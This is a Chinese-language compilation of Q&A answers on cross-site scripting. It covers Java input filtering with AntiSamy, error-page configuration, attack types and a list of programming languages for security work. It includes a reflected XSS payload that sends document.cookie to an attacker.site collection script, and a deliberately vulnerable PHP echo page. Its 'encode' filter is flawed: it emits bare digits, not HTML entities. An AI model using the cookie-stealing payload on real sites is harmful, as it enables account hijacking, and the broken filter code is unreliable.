跨站攻擊腳本
① 怎樣過濾跨站惡意腳本攻擊
1. 在輸入流中截住form data中的惡意腳本
研究兩種XSS攻擊,如反射型和存儲型XSS攻擊,其惡意腳本都是來自用戶的輸入。因此,可以使用過濾用戶輸入的方法對惡意腳本進行過濾。對簡單的HTTP請求,一般使用GET和POST方法。
2. 在輸入流中檢測濾掉來自其他網站的URL中的惡意腳本
當用戶不小心點擊了被其他黑客提供的假冒URL,則可能在該URL中注入惡意腳本。因此,也需要對這種情況進行處理。因此為確保其他在header中的惡意腳本,需要對request.getHeader進行重寫。以下為例子:
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return xssClean(value);
}
3. xssClean函數怎樣實現才可以過濾掉惡意腳本呢?
如果是java語言,推薦使用antisamy。使用antisamy進行XSS清理非常簡單,只需要簡單的幾個步驟即可達到目的。
1『. 在pom.xml文件中加入antisamy的dependency,
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.5.3</version>
</dependency>
2』. 加入了dependency之後,就可以在xssClean中加入antisamy對惡意腳本進行清理。其中policy.xml是白名單,policy.xml中規定了各個html元素所必須滿足的條件。antisamy的精髓之處在於,使用policy文件來規定你的過濾條件,若輸入字元串不滿足policy文件中的條件,則會過濾掉字元中的惡意腳本,返回過濾後的結果。具體代碼如下:
private String xssClean(String value) {
AntiSamy antiSamy = new AntiSamy();
try {
final CleanResults cr = antiSamy.scan(value, Policy.getInstance("policy.xml"), AntiSamy.SAX);
return cr.getCleanHTML();
} catch (ScanException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
return value;
}
這樣,我們就將client端用戶輸入的request,在server端進行了攔截,並且進行了過濾。
② 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法:
1.輸入過濾
對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.輸出過濾
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安裝三方的應用防火牆,可以攔截css攻擊。
附:
跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。
攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。
③ DOM 跨站腳本攻擊問題,怎麼解決
跨站腳本攻擊(Cross Site Scripting)是指攻擊者利用網站程序對用戶輸入過濾不足,輸入可以顯示在頁面上對其他用戶造成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。為了與層疊樣式表(Cascading Style Sheets)的縮寫CSS區分開,跨站腳本攻擊通常簡寫為XSS。
下面這個頁面的主要作用是獲取用戶輸入的參數作為用戶名,並在頁面中顯示「歡迎您,XXX」的形式,具體代碼如下:
<?php
$username = $_GET["name"];
echo "<p>歡迎您, ".$username."!</p>";
④ 跨站腳本攻擊xss的原理是什麼有什麼危害如何防範
xxs攻擊原理是網頁對用戶輸入的字元串過濾不嚴,導致在提交輸入信息的時候瀏覽器執行了黑客嵌入的xxs腳本,致使用戶信息泄露。黑客可將偽裝過的含義腳本語句的鏈接發送給受害者,當受害者點擊鏈接的時候,由於網頁沒有過濾腳本語句,所以瀏覽器執行了腳本語句,而這個腳本語句的作用是將用戶的cookie發送到黑客指定的地址,然後黑客就可以利用受害者的cookie竊取受害者的個人信息等等。這種攻擊對伺服器沒有多大危害,但對用戶危害很大,要防範這種攻擊應該在設計網站的時候對用戶提交的內容進行嚴格的過濾。
⑤ 跨站腳本攻擊漏洞需要用到什麼編程語言
這里有5種編程語言,可以對網路安全的問題有所幫助。
C和C++
如果是在網路安全領域,C和C++是相對重要的最基礎的編程語言,這些語言提供了對底層IT基礎設施(如RAM和系統進程)的訪問,如果保護不好,黑客可以很容易地利用這些基礎設施。
C編程語言是大多數操作系統的主幹。它是一種簡潔、靈活和高效的語言,可用於完成多種任務,如加密、圖像處理和socket 網路。
從本質上講,C++通常被認為是C的大哥,它是由crack、meth和steroids混合編譯而成的。而C++是一種主要基於C的源代碼的很棒的語言。有幾個使用C++創建的網路安全程序。例如,Network Mapper,就是是用C+創建的。
下面是C+的創建者Bjarne Stroustrup的一句話:
"C使你很容易射中自己的腳;C+使它變得更難,但當你這樣做時,它會把你的整個腿都炸掉。"
如果你具有使用C/C++編程語言的經驗,你將知道如何應對針對計算環境中較低級別操作的攻擊。
PYTHON
作為一種高級編程語言,Python越來越受到網路專家的歡迎。它之所以吸引人,主要是因為它代碼的可讀性、語法清晰和簡單,以及大量庫的可用性。
因此,無論你想做什麼任務,你都可以使用Python輕松完成任務。例如,你可以使用該語言將TCP數據包發送到計算機,執行惡意軟體分析,並創建入侵檢測系統,而對第三方工具的依賴性最小。
然而,與C/C++不同,Python並不是底層的;因此,它可能無法為提供足夠硬體資源可見性。
學習Python用於網路安全將使你在職業生涯中占據優勢。你將具備編程技能,可以幫助你識別漏洞並發現如何解決它們。
JAVASCRIPT
JavaScript是一種高級編程語言,通常被稱為Web的「通用語言」。JavaScript是支持Internet的核心技術。首先,它是為網頁添加交互性的語言。盡管JavaScript最初僅在Web瀏覽器的客戶端實現,但現在可以在其他類型的主機基礎結構中使用該語言,例如資料庫中的伺服器端和PDF程序等離線應用程序。
因此,由於它的廣泛使用,學習JavaScript可以讓你比黑客領先一步。 你將了解網站和其他應用程序如何工作的概念以及用於抵禦惡意用戶的最佳設計。例如,跨站點腳本是一種基於JavaScript的攻擊,涉及攻擊者在Web應用程序中植入惡意代碼。
如果你有使用JavaScript編程語言的經驗,則可以防止發生此類攻擊。
PHP
PHP是用於開發網站的伺服器端編程語言。由於大多數網站都是使用PHP創建的,因此學習該語言可以讓你了解如何抵禦入侵者。
例如,DDoS(拒絕服務)攻擊通常會嘗試使Web應用程序對預期用戶不可用。
藉助PHP編程知識,再加上JavaScript等其他技術的技能,你可以實現可靠的解決方案來保護Web應用程序。
SQL
SQL(結構化查詢語言)主要用於管理存儲在資料庫中的數據。由於當前數據存儲系統的爆炸式增長,SQL被廣泛用於維護和檢索數據。
同樣,黑客越來越多地編排語言來破壞或泄露存儲的數據。例如,SQL注入攻擊涉及利用SQL漏洞來竊取或修改資料庫中保存的數據。因此,充分了解SQL語言對於網路安全至關重要。
總結
以上並不是網路安全最佳編程語言的詳盡列表。根據你的具體用例,你可能會發現一種語言比其他語言更適合你的工作。
例如,如果你想專注於保護Web應用程序的前端,那麼學習JavaScript可能是你理想的選擇。
盡管如此,要成為一個全面的網路極客,你需要採用
⑥ 如何進行跨站腳本攻擊
你好~
XSS漏洞產生的原因:
跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕松地認為用戶永遠不會試圖執行什麼出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用製造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對的,對用戶輸入數據的」編碼」和」過濾」在任何時候都是很重要的,我們必須採取一些針對性的手段對其進行防禦。
如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼
1 .需要重點」編碼」和」過濾」的對象
The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data
防禦XSS有一個原則:
以當前的應用系統為中心,所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從資料庫獲取到的數據),所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向資料庫寫入數據)
對輸入的數據進行」過濾」,對輸出數據進行」編碼」。這里的」編碼」也要注意,必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,如果數據是輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。
如果不搞清楚數據具體輸出的語境,就有可能因為HtmlParser()和javascriptParser()兩種解析引擎的執行先後問題導致看似嚴密的」編碼」形同虛設。
⑦ XSS是什麼
1、XSS是跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。
2、惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,從而達到惡意攻擊用戶的特殊目的。
3、XSS攻擊分成兩類,一類是來自內部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。
4、另一類則是來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當要滲透一個站點,自己構造一個有跨站漏洞的網頁,然後構造跨站語句,通過結合其它技術,如社會工程學等,欺騙目標伺服器的管理員打開。
⑧ 什麼是XSS跨站腳本攻擊
什麼是XSS攻擊XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,從而達到惡意攻擊用戶的特殊目的。XSS屬於被動式的攻擊,因為其被動且不好利用,所以許多人常忽略其危害性。而本文主要講的是利用XSS得到目標伺服器的shell。技術雖然是老技術,但是其思路希望對大家有幫助。 [編輯本段]如何尋找XSS漏洞就個人而言,我把XSS攻擊分成兩類,一類是來自內部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網頁,然後構造跨站語句,通過結合其它技術,如社會工程學等,欺騙目標伺服器的管理員打開。
⑨ 跨站腳本攻擊是什麼意思
XSS,跨站腳本攻擊,Cross-Site
Scripting,為了和前端的CSS避免重名,簡稱為XSS,是指通過技術手段,向正常用戶請求的HTML頁面中插入惡意腳本,執行。
這種攻擊主要是用於信息竊取和破壞等目的。在防範XSS上,主要就是通過對用戶輸入的數據做過濾或者或者轉義,可以使用框架提供的工具類HTML
Util,另外前端在瀏覽器展示數據的時候,要使用安全的API展示數據。比如使用inner text而不是inner HTML。
⑩ 跨站腳本攻擊有哪些類型
1、持久型跨站:最直接的危害類型,跨站代碼存儲在伺服器(資料庫)。
2、非持久型跨站:反射型跨站腳本漏洞,最普遍的類型。用戶訪問伺服器-跨站鏈接-返回跨站代碼。
3、DOM跨站(DOM XSS):DOM(document object model文檔對象模型),客戶端腳本處理邏輯導致的安全問題。
(10)跨站攻擊腳本擴展閱讀:
跨站腳本攻擊產生的原因是網站過於相信用戶的輸入,那麼解決的辦法也很直接,就是從根本上不相信用戶的任何輸入。一個安全的網站應當對任何用戶的任何輸入都要進行檢查,特別是對用戶提交到伺服器中保存的數據,更要做篩選。
這種攻擊與反射型攻擊不同的是,它會把自己的攻擊代碼保存在網站的伺服器上,這樣,任何訪問了這個頁面的用戶,都會受到這個攻擊。